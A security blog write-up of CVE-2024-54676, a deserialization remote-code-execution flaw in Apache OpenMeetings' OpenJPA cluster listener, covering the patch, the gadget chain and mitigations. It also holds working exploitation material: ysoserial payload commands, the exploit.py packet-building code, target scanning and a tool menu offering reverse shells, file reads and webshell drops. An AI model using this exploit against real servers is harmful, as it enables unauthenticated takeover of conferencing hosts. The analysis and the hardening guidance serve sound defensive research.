CVE-2024-54676 — Apache OpenMeetings OpenJPA Deserialization RCE

DoS vs DDoS Attacks: Key Differences and Examples
March 26, 2026

March 26, 2026

CVE-2024-54676 is a critical (CVSS 9.8) Java deserialization vulnerability affecting Apache OpenMeetings versions prior to 8.0.0. This vulnerability allows an unauthenticated attacker to achieve Remote Code Execution through the OpenJPA TCPRemoteCommitProvider, which opens a raw TCP socket on port 5636 and deserializes incoming data using ObjectInputStream.readObject() with no authentication, no class filtering, and no serialization whitelist. The issue stems from the complete absence of serialization controls on a network-exposed deserialization endpoint, combined with the presence of exploitable gadget chain libraries (specifically commons-beanutils) on the application classpath. When OpenMeetings is deployed in cluster mode for high availability, any attacker who can reach TCP port 5636 can send a single crafted packet to execute arbitrary commands with the full privileges of the OpenMeetings process — typically root in containerized deployments.

What is Apache OpenMeetings?

Apache OpenMeetings is an open-source web conferencing platform developed under the Apache Software Foundation. It provides a comprehensive suite of communication and collaboration tools including multi-party video conferencing, screen sharing, interactive whiteboard, real-time document editing, instant messaging, and meeting recording capabilities. Organizations deploy OpenMeetings as a self-hosted alternative to commercial video conferencing platforms, particularly when data sovereignty and privacy requirements mandate on-premises infrastructure.

The application is built on Java and uses Apache Wicket for its web framework, with a persistence layer powered by Apache OpenJPA — a Java Persistence API (JPA) implementation that provides Object-Relational Mapping (ORM) between Java objects and the underlying relational database. OpenMeetings supports several database backends including MySQL, PostgreSQL, and H2.

For production deployments requiring high availability, OpenMeetings supports a cluster mode where multiple application instances share a single database. In this configuration, the instances must synchronize their Level 2 (L2) caches to ensure data consistency — when one instance modifies an entity, all other instances must invalidate their cached copies. OpenJPA provides several mechanisms for this synchronization, one of which is the TCPRemoteCommitProvider. This component opens a TCP server socket that listens for cache invalidation events from peer cluster nodes. The TCPRemoteCommitProvider is the specific component that introduces the deserialization vulnerability, as it uses Java’s native ObjectInputStream to deserialize incoming network data without any form of authentication or class filtering.

Lab Setup

Prerequisites

The lab requires Docker, Docker Compose, Python 3.8+, and a Java JDK 11+ installation (for ysoserial payload generation). The lab replicates the exact vulnerable code path from Apache OpenMeetings cluster mode using a minimal OpenJPA application with the TCPRemoteCommitProvider enabled.

Start the Vulnerable Server

cd lab/
docker compose up --build
Lab Setup - Start the Vulnerable Server

The Docker Compose configuration builds and starts a single container running a custom Java application that initializes OpenJPA with the TCPRemoteCommitProvider. The container exposes two ports: HTTP 5443 for health checks and TCP 5636 for the vulnerable OpenJPA deserialization listener.

# docker-compose.yml
services:
  vulnerable:
    build:
      context: .
      dockerfile: Dockerfile.vulnerable
    container_name: openjpa-vuln-cve-2024-54676
    ports:
      - "5443:8080"   # HTTP health check
      - "5636:5636"   # OpenJPA TCP — VULNERABLE
    healthcheck:
      test: ["CMD", "curl", "-sf", "http://localhost:8080/health"]
      interval: 15s
      timeout: 5s
      retries: 5
      start_period: 30s

Verify the Lab

# Check HTTP health endpoint
curl http://localhost:5443/health
# Expected: OK
 
# Check vulnerability status
curl http://localhost:5443/info
# Expected: {"cve":"CVE-2024-54676","status":"vulnerable","openjpa_tcp_port":5636,"serialization_filter":false}
 
# Install exploit dependencies and verify
cd ../exploit/
pip install -r requirements.txt
python exploit.py -t localhost --check

Patch Diffing

The patch was applied in commit 1c3426c6d3ab (OPENMEETINGS-2787) and modified only 2 files — both deployment configuration, not application code. The vulnerable OpenJPA source code itself was not changed. Instead, the fix activates OpenJPA’s built-in but previously unconfigured ObjectInputStreamWithBlacklist mechanism through JVM system properties added to the startup script.

The primary change was made to the systemd service unit file openmeetings-server/src/main/assembly/scripts/openmeetings.service. The JAVA_OPTS environment variable was extended with two OpenJPA serialization control properties. The property -Dopenjpa.serialization.class.blacklist=* rejects all classes by default during deserialization, and -Dopenjpa.serialization.class.whitelist=[B,java.util,org.apache.openjpa,org.apache.openmeetings.db.entity explicitly permits only the four class prefixes needed for legitimate cluster cache synchronization: byte arrays, Java collections, OpenJPA’s own classes, and OpenMeetings entity classes.

-Environment='JAVA_OPTS=-Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom'
+Environment='JAVA_OPTS=-Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom -Dopenjpa.serialization.class.blacklist=* -Dopenjpa.serialization.class.whitelist=[B,java.util,org.apache.openjpa,org.apache.openmeetings.db.entity'

The second change added a documentation callout to Clustering.xml warning administrators to include the serialization blacklist/whitelist in their startup scripts. This is critical because administrators using custom deployment scripts (rather than the bundled systemd service) would otherwise remain vulnerable even after upgrading.

The fix works through OpenJPA’s ObjectInputStreamWithBlacklist.resolveClass() method, which intercepts every class resolution during deserialization. When the blacklist is set to * and a whitelist is provided, every class must match a whitelist prefix or deserialization fails with a ClassNotFoundException. The gadget chain classes — org.apache.commons.beanutils.BeanComparator, com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, and java.util.PriorityQueue — do not match the whitelist and are therefore rejected before instantiation.

The Analysis

Attack Flow

attack flow diagram

Entry Point Analysis

The entry point for this vulnerability is the TCP server socket opened by OpenJPA’s TCPRemoteCommitProvider on port 5636. When OpenMeetings is configured for cluster mode, OpenJPA initializes this component during EntityManagerFactory creation. The provider creates a ServerSocket bound to all interfaces (0.0.0.0) and spawns a dedicated acceptor thread that continuously calls accept() to handle incoming connections. There is no authentication mechanism, no TLS requirement, no IP filtering, and no rate limiting. Any TCP client that can reach the port is accepted, and a new ReceiveSocketHandler thread is spawned to process the connection.

VulnerableServer.java – main method (lab replication):

public static void main(String[] args) throws Exception {
    Map<String, String> props = new HashMap<>();
    // VULNERABILITY: Enable TCP RemoteCommitProvider without serialization filtering
    props.put("openjpa.RemoteCommitProvider", "tcp(Port=5636)");  // User-controlled port
    props.put("openjpa.jdbc.SynchronizeMappings", "buildSchema(ForeignKeys=true)");
 
    // This call initializes OpenJPA, which starts the TCP listener on port 5636
    EntityManagerFactory emf = Persistence.createEntityManagerFactory("vuln-lab", props);
    // At this point, port 5636 is open and accepting deserialization connections
}

Data Flow Analysis

Once a connection is accepted, the ReceiveSocketHandler.run() method wraps the socket’s input stream with a java.io.ObjectInputStream and reads four values in sequence. The first three values — protocolVersion (long, 8 bytes), senderId (long, 8 bytes), and senderPort (int, 4 bytes) — are read as primitives using readLong() and readInt(), which are inherently safe because they only read fixed-size numeric values without class instantiation. The fourth value, senderAddress, is read using readObject(), which triggers the full Java deserialization machinery. This is the exact point where the attacker’s gadget chain payload is deserialized and executed.

The data flows through the system as a raw TCP byte stream conforming to the Java ObjectOutputStream wire format. The stream begins with the magic bytes AC ED 00 05 (Java serialization header), followed by a TC_BLOCKDATA block containing the 20 bytes of OpenJPA protocol header (the three primitive values), and finally the serialized object data that constitutes the attacker’s gadget chain payload.

TCPRemoteCommitProvider$ReceiveSocketHandler – run method:

public void run() {
    // Wraps raw socket stream in Java's ObjectInputStream
    ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
 
    // Safe reads — primitives only, no class instantiation
    long protocolVersion = ois.readLong();    // 8 bytes, safe
    long senderId        = ois.readLong();    // 8 bytes, safe
    int  senderPort      = ois.readInt();     // 4 bytes, safe
 
    // VULNERABILITY: readObject() deserializes an arbitrary Java object
    // from the attacker-controlled TCP stream. No class filtering applied.
    Object senderAddress = ois.readObject();  // Attacker-controlled — triggers gadget chain
 
    // Process commit event (never reached during exploitation —
    // gadget chain executes as side effect of deserialization)
}

Core Vulnerability Analysis

The fundamental security flaw is the use of ObjectInputStream.readObject() on untrusted network input without any deserialization filtering. Java’s ObjectInputStream is inherently dangerous when used on data from untrusted sources because the serialization format is self-describing — the serialized byte stream specifies exactly which class to instantiate, and the JVM dutifully loads and instantiates that class from the classpath. Certain Java classes execute code as a side effect of deserialization, through mechanisms such as readObject() callbacks, readResolve() methods, finalize() methods, or Comparable.compareTo() invocations during sorted collection reconstruction. Chains of such classes — known as “gadget chains” — can be composed to achieve arbitrary code execution.

OpenJPA 3.2.x introduced a partial defense in the form of ObjectInputStreamWithBlacklist, which overrides resolveClass() to reject classes matching a configurable blacklist. However, in OpenMeetings versions prior to 8.0.0, this mechanism was not configured — no openjpa.serialization.class.blacklist or openjpa.serialization.class.whitelist system property was set. The ObjectInputStreamWithBlacklist falls back to standard ObjectInputStream behavior when no blacklist is configured, meaning all classes are accepted.

Even when the default OpenJPA blacklist is active (in configurations that explicitly enable it but don’t customize the whitelist), it only blocks a subset of known gadget chains. The CommonsBeanutils1 chain — the primary exploit payload for this CVE — bypasses the default blacklist entirely because org.apache.commons.beanutils.BeanComparator is not included in the default blocked patterns. Additionally, the TemplatesImpl class used in the chain resides at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (a JDK internal class), while the default blacklist only blocks org.apache.xalan.* (the standalone Apache Xalan distribution) — a different package entirely.

ObjectInputStreamWithBlacklist – resolveClass method:

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws ClassNotFoundException {
    String name = desc.getName();
 
    // VULNERABILITY: Without configuration, whitelist is null and blacklist is empty
    // Both checks pass, allowing ALL classes through
    if (whitelist != null && !matchesAny(name, whitelist)) {
        throw new ClassNotFoundException("Class not whitelisted: " + name);  // Never reached
    }
    if (blacklist != null && matchesAny(name, blacklist)) {
        throw new ClassNotFoundException("Class blacklisted: " + name);  // Never reached
    }
 
    // Falls through to standard deserialization — any class on classpath is loaded
    return super.resolveClass(desc);
}

Gadget Chain Analysis

The primary exploitation gadget chain is CommonsBeanutils1 from the ysoserial toolkit. This chain leverages the commons-beanutils library (version 1.9.4), which is bundled on the OpenMeetings classpath as a direct dependency. The chain works by abusing Java’s PriorityQueue collection, which invokes a Comparator during deserialization to rebuild its internal heap structure. The attacker provides a PriorityQueue serialized with a BeanComparator as its comparator, which in turn triggers reflective property access on a crafted TemplatesImpl object, ultimately leading to arbitrary bytecode execution.

The execution flow proceeds as follows: PriorityQueue.readObject() calls heapify() to reconstruct the priority queue from its serialized elements. During heapify(), the siftDown() method invokes BeanComparator.compare() on the queue’s elements. BeanComparator.compare() uses Apache BeanUtils’ PropertyUtils.getProperty() to reflectively invoke the getter method for a property named outputProperties on the target object. The target is a specially crafted com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl instance whose _bytecodes field contains an attacker-controlled JVM bytecode. When getOutputProperties() is called, it triggers newTransformer(), which calls getTransletInstance(), which calls defineClass() to load the attacker’s bytecode into the JVM. The loaded class’s static initializer or constructor then calls Runtime.getRuntime().exec() with the attacker’s command.

PriorityQueue.readObject()
  → PriorityQueue.heapify()
    → PriorityQueue.siftDown()
      → BeanComparator.compare(element1, element2)
        → PropertyUtils.getProperty(element, "outputProperties")
          → TemplatesImpl.getOutputProperties()
            → TemplatesImpl.newTransformer()
              → TemplatesImpl.getTransletInstance()
                → TransletClassLoader.defineClass(attackerBytecode)
                  → <clinit> / constructor → Runtime.exec(cmd)    // RCE

Wire Protocol Deep Dive

The exploit constructs a raw TCP packet conforming to the Java ObjectOutputStream wire format combined with the OpenJPA protocol expectations. Understanding this format is essential for both exploitation and detection.

The packet begins with the 4-byte Java serialization stream header (AC ED 00 05), which identifies the stream as a Java ObjectOutputStream. This is followed by a TC_BLOCKDATA marker (0x77) and a length byte (0x14 = 20), indicating that the next 20 bytes contain inline primitive data. These 20 bytes encode the OpenJPA protocol header: protocolVersion (8-byte long), senderId (8-byte long), and senderPort (4-byte int). After the block data, the remainder of the stream contains the serialized gadget chain object — the PriorityQueue with its embedded BeanComparator and TemplatesImpl payload.

A critical detail in the packet construction is header stripping. The ysoserial tool generates a complete ObjectOutputStream stream (with its own AC ED 00 05 header), but the exploit stream already has a header. Including two headers would cause a StreamCorruptedException. Therefore, the first 4 bytes of the ysoserial output are stripped before appending the gadget chain data to the exploit packet.

exploit.py – _build_openjpa_packet method:

def _build_openjpa_packet(self, gadget_bytes):
    buf = bytearray()
 
    # 1. Java ObjectOutputStream stream header
    buf.extend(b'\xac\xed\x00\x05')  # STREAM_MAGIC + STREAM_VERSION
 
    # 2. TC_BLOCKDATA containing OpenJPA protocol header (20 bytes)
    buf.append(0x77)   # TC_BLOCKDATA marker
    buf.append(0x14)   # Length = 20 bytes
 
    buf.extend(struct.pack('>q', self.protocol_version))  # protocolVersion (long)
    buf.extend(struct.pack('>q', 0x1337CAFE))             # senderId (long)
    buf.extend(struct.pack('>i', DEFAULT_PORT))            # senderPort (int)
 
    # 3. VULNERABILITY: Gadget chain replaces senderAddress object
    # Strip ysoserial's own stream header to avoid duplicate ACED 0005
    if gadget_bytes[:4] == b'\xac\xed\x00\x05':
        buf.extend(gadget_bytes[4:])  # Embed raw object data
    else:
        buf.extend(gadget_bytes)
 
    return bytes(buf)

Exploitation

The exploitation process involves five steps: port discovery, vulnerability verification, payload generation, packet assembly, and delivery. The entire process is automated by the included exploit.py script, but each step is documented below for manual reproduction.

Port Discovery

The first step is confirming that TCP port 5636 is reachable on the target host. This port is the default for OpenJPA’s TCPRemoteCommitProvider and is only open when OpenMeetings is running in cluster mode.

nmap -p 5636 target.example.com
# Or use the exploit's built-in check:
python exploit.py -t target.example.com --check
Port Discovery

Payload Generation

The attacker uses ysoserial to generate a CommonsBeanutils1 gadget chain payload for the desired command. The payload is a serialized Java object approximately 2-5 KB in size.

java -jar ysoserial-all.jar CommonsBeanutils1 "id > /tmp/pwned" > payload.bin

Exploit Delivery

The exploit script automates packet assembly and delivery in a single command:

# Blind command execution
python exploit.py -t target --cmd "id > /tmp/pwned"
Exploit Delivery

Verification

Since the exploit is blind (no direct output channel), verification requires an out-of-band method:

# Verify via Docker (lab environment)
docker exec openjpa-vuln-cve-2024-54676 cat /tmp/pwned
# Expected: uid=0(root) gid=0(root) groups=0(root)

Automated Exploit Script

The full exploit script (exploit.py) supports multiple modes of operation:

╔══════════════════════════════════════════════════════════════╗
║  CVE-2024-54676 — Apache OpenMeetings                       ║
║  OpenJPA TCPRemoteCommitProvider Deserialization RCE         ║
║  Severity: CRITICAL (CVSS 9.8)                              ║
╚══════════════════════════════════════════════════════════════╝
 
  --check              Probe port 5636 for OpenJPA listener
  --cmd CMD            Execute command (blind RCE)
  --auto CMD           Try all gadget chains (CommonsBeanutils1 → CC2 → CC4 → CC6 → CC7 → Spring1)
  --read PATH          Read a file from target
  --reverse-shell H:P  Get a reverse shell
  --webshell           Drop a JSP webshell
  --version-detect     Detect OpenMeetings version via HTTP
  --verify             Verify RCE with marker file

Mitigation

Immediate Actions

The highest-priority remediation is upgrading to Apache OpenMeetings 8.0.0 or later, which includes the serialization whitelist configuration in the default startup scripts. If an immediate upgrade is not possible, administrators should add the following JVM flags to their startup configuration to activate OpenJPA’s serialization filtering:

JAVA_OPTS="$JAVA_OPTS -Dopenjpa.serialization.class.blacklist=* \
  -Dopenjpa.serialization.class.whitelist=[B,java.util,org.apache.openjpa,org.apache.openmeetings.db.entity"

Port 5636 should be blocked at the firewall level for all traffic except legitimate cluster peer nodes. In most deployments, this port should never be exposed to untrusted networks. If cluster mode is not required, the TCPRemoteCommitProvider should be disabled entirely by switching to the sjvm (single-JVM) RemoteCommitProvider in persistence.xml.

Network-Level Protections

Restrict port 5636 to cluster peer IP addresses only using firewall rules or cloud security groups. Deploy the cluster communication over a private network or VPN. Implement IDS/IPS rules that detect Java serialization magic bytes (AC ED 00 05) on port 5636 from non-cluster sources.

Long-Term Hardening

For defense-in-depth, enable JEP 290 serialization filtering at the JVM level:

-Djdk.serialFilter=org.apache.openjpa.**;org.apache.openmeetings.**;!*

Run OpenMeetings as a non-root user. In containerized deployments, use a read-only root filesystem, drop all capabilities, and avoid –privileged mode. Monitor for unexpected outbound connections from the OpenMeetings host, which could indicate post-exploitation lateral movement.

Conclusion

CVE-2024-54676 exemplifies the persistent danger of Java’s native serialization mechanism when exposed to untrusted network input. The vulnerability is conceptually simple — a TCP socket that blindly deserializes incoming data — yet it achieves the maximum possible severity score (CVSS 9.8) because it requires no authentication, no user interaction, and delivers full system compromise through a single network packet.

The most significant technical insight from this analysis is the insufficiency of class blacklisting as a defense against deserialization attacks. OpenJPA 3.2.x included a default blacklist that blocked several known gadget chain families, yet the CommonsBeanutils1 chain — which uses classes from a different package hierarchy — bypassed it entirely. The fix correctly adopts a whitelist approach, which is fundamentally more secure because it blocks all unknown classes rather than only known-bad ones. This whitelist-over-blacklist principle applies broadly to serialization filtering, input validation, and security policy design.

The vulnerability also highlights a recurring pattern in Java infrastructure components: security mechanisms exist in the library code (ObjectInputStreamWithBlacklist was available in OpenJPA for years) but are not activated by default, leaving applications vulnerable until administrators or packagers explicitly configure them. The gap between “security feature available” and “security feature enabled” remains one of the most common root causes of critical vulnerabilities in the Java ecosystem.

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading